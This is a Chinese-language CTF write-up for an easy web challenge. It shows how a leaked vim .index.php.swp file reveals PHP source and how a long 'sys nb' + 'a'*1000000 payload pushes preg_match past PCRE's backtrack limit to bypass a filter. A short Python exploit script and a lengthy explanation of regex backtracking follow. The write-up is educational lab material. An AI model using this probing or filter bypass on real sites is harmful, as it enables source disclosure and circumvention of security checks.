PolarD&N CTF - swp writeup (zh-TW)
題目資訊
- 分類: Web
- 難度: 簡單
- 描述: true .swp file?
- 已解決人數: 1160
- 題目連結: https://www.polarctf.com/#/page/challenges
解題過程
Step 1: 發現 .swp 文件
訪問題目頁面,顯示提示:"true .swp file?"
🔍 什麼是 .swp 文件?
- vim 編輯器的臨時交換文件
- 當用 vim 編輯
index.php時,會自動創建.index.php.swp - 開發者忘記刪除就部署 → 信息洩露漏洞
常見路徑規律:
原文件: index.php
Swap文件: .index.php.swp
嘗試訪問:
http://[target]/.index.php.swp
✅ 成功查看!
Step 2: 查看 .swp 文件內容
得到 PHP 源代碼:
<?php
function jiuzhe($xdmtql){
return preg_match('/sys.*nb/is',$xdmtql);
}
$xdmtql = @$_POST['xdmtql'];
僅列出部分程式碼!
Step 3: 代碼邏輯分析
要獲得 flag,需要同時滿足三個條件:
| 條件 | 檢查 | 要求 |
|---|---|---|
| ① | !is_array($xdmtql) |
不是數組 |
| ② | !jiuzhe($xdmtql) |
不匹配 /sys.*nb/is |
| ③ | strpos($xdmtql,'sys nb') !== false |
包含 'sys nb' |
🤔 矛盾點:
- 條件 ③ 要求包含
'sys nb' - 但
'sys nb'明顯會匹配正則/sys.*nb/is(條件 ②) - 如何繞過?
Step 4: 理解正則引擎的回溯機制
錯誤嘗試:在後面加字符
# ❌ 這樣不行
payload = "a" * 1000000 + "sys nb"
為什麼失敗?
字符串: "aaaa...(100萬個a)...sys nb"
正則: /sys.*nb/
引擎行為:
1. 從左掃描 → 跳過所有 'a'
2. 找到 'sys' ✓
3. 找到 'nb' ✓
4. 匹配成功 → 返回 1
正確做法:利用貪婪匹配 + 回溯爆炸
# ✅ 正確順序
payload = "sys nb" + "a" * 1000000
為什麼成功?
字符串: "sys nb aaaa...(100萬個a)..."
正則: /sys.*nb/
引擎行為:
1. 找到 'sys' ✓
2. .* 貪婪模式 → 吞掉所有字符到結尾
3. 發現結尾不是 'nb',需要回溯
4. 退1個字符 'a',檢查 → 不匹配
5. 退2個字符 'aa',檢查 → 不匹配
6. 退3個字符 'aaa',檢查 → 不匹配
...重複 100 萬次...
7. ⚠️ 超過 PCRE 回溯限制
8. preg_match() 返回 false(不是 0!)
關鍵差異:
preg_match()返回false(錯誤)→!jiuzhe()=true✓strpos()仍然能找到'sys nb'✓
Step 5: 編寫 Exploit
Python 腳本
import requests
url = "http://8d8f752e-9531-4a5e-b86e-f5f0cf809f64.www.polarctf.com:8090/index.php"
# 關鍵:sys nb 要放在【前面】!
data = {"xdmtql": "sys nb" + "a" * 1000000}
res = requests.post(url, data=data, allow_redirects=False)
print(res.content)Step 6: 獲得 Flag
執行腳本後,成功繞過正則檢查!
🎉 flag{xxxxxxxxxxxxxxx}
學習重點
1. vim swp 文件洩露
# 原文件 → Swap 文件
index.php → .index.php.swp
config.php → .config.php.swp
flag.txt → .flag.txt.swp
admin.php → .admin.php.swp
2. PCRE 回溯限制繞過
什麼是 PCRE?
PCRE = Perl Compatible Regular Expressions(Perl 兼容正則表達式)
PHP 的 preg_* 系列函數都使用 PCRE 引擎:
preg_match()
preg_match_all()
preg_replace()
preg_split()
回溯限制參數
// PHP 配置
pcre.backtrack_limit = 1000000 // 默認 100萬次
pcre.recursion_limit = 100000 // 默認 10萬次
// 運行時查看
ini_get('pcre.backtrack_limit');
3. preg_match vs strpos 的差異
| 函數 | 類型 | 返回值 | 性能 |
|---|---|---|---|
preg_match() |
正則匹配 | 1 / 0 / false |
慢 |
strpos() |
字符串查找 | 位置 / false |
快 |
重要區別
// preg_match 可能返回 false(錯誤)
$result = preg_match('/sys.*nb/', $input);
// 返回 1(匹配)、0(不匹配)、false(錯誤)
// strpos 只返回位置或 false
$result = strpos($input, 'sys nb');
// 返回 整數位置 或 false
// ⚠️ 注意:用 !== 而不是 !=
if(strpos($str, 'sys nb') !== false) // 正確
if(strpos($str, 'sys nb') != false) // 錯誤!位置0會被判false
4. ReDoS 攻擊原理
ReDoS = Regular Expression Denial of Service
攻擊原理圖
正常匹配:
Input: "sys nb"
Regex: /sys.*nb/
Steps: sys → . → . → nb ✓ (4步)
回溯爆炸:
Input: "sys nb" + "a"*1000000
Regex: /sys.*nb/
Steps: sys → .*吞光 → 回溯1次 → 回溯2次 → ... → 回溯1000000次 💥
經驗分享
這是一個新興的CTF挑戰平台,第一題簡單Web就結合基本的web訊息洩漏漏洞+基礎的代碼審計,但這個代碼審計也不容易,要了解如何造成漏洞,很有挑戰性!筆者會持續探索此平台有趣的題目!
下面跟AI深入討論
為什麼前面匹配到了還要回溯?
關鍵誤區
你可能以為正則引擎會這樣工作:
❌ 錯誤理解:
字符串: "sys nb" + "aaa...aaa"
正則: /sys.*nb/
引擎: 找到 "sys" → 找到 "nb" → 結束!✓
但實際上,正則引擎是貪婪的!
實際執行流程
字符串: s y s n b a a a a a a a a a...a
位置: 0 1 2 3 4 5 6 7 8 9 ... 1000005
Step 1: 匹配 "sys"
正則: /sys.*nb/
^^^
字符串: [sys] nb aaaa...aaa
^^^
匹配成功 ✓ (位置 0-2)
Step 2: 匹配 ".*"(貪婪模式)
這是關鍵!.* 的貪婪模式會:
- ✅ 盡可能多地匹配字符
- ✅ 一路吃到字符串結尾
正則: /sys.*nb/
^^
貪婪!吃光所有!
字符串: sys [nbaaaaaa...aaaaa]
^^^^^^^^^^^^^^^^
.* 吃掉了 " nb" 和所有的 "a"!
當前位置: 字符串結尾 (位置 1000005)
Step 3: 嘗試匹配結尾的 "nb"
正則: /sys.*nb/
^^
現在要匹配 "nb"
字符串: sys nbaaaaaa...aaaa[?]
^
當前位置:結尾
引擎檢查: 這裡是 "nb" 嗎?
答案: ❌ 不是!已經到結尾了!
Step 4: 開始回溯
引擎想:「我 .* 吃太多了,要吐出來一些!」
回溯第 1 次:
字符串: sys nbaaaaaa...aaa[a]
^^
.* 吐出最後 1 個字符 "a",檢查 "a" 是不是 "nb"?
答案: ❌ 不是!
回溯第 2 次:
字符串: sys nbaaaaaa...aa[aa]
^^^^
.* 吐出最後 2 個字符 "aa",檢查 "aa" 是不是 "nb"?
答案: ❌ 不是!
回溯第 3 次:
字符串: sys nbaaaaaa...a[aaa]
^^^^^
.* 吐出最後 3 個字符,檢查...
答案: ❌ 不是!
...重複 100 萬次...
回溯第 1000000 次:
字符串: sys nbaaaaaa[aaa...aaa]
^^^^^^^^^^
終於吐出所有的 "a",但還是不匹配!
回溯第 1000001 次:
字符串: sys nb[aaa...aaa]
^^
檢查 "nb" → ✓ 終於匹配!
但是!PCRE 回溯限制 = 1,000,000
💥 超過限制 → preg_match() 返回 false
視覺化對比
場景 A:不會觸發回溯(我們之前的錯誤做法)
字符串: "aaa...aaa sys nb"
正則: /sys.*nb/
步驟:
1. 掃描 → 跳過所有 "a"
2. 找到 "sys" ✓
3. .* 匹配 " "(空格)
4. 找到 "nb" ✓
5. 結束!(沒有回溯)
場景 B:觸發回溯爆炸(正確做法)
字符串: "sys nb aaa...aaa"
正則: /sys.*nb/
步驟:
1. 找到 "sys" ✓
2. .* 貪婪吞光 " nbaaa...aaa" 💥
3. 嘗試匹配結尾 "nb" → 失敗
4. 回溯 1 次 → 失敗
5. 回溯 2 次 → 失敗
...
1000001. 回溯 100萬次 → 💀 超限!
Member discussion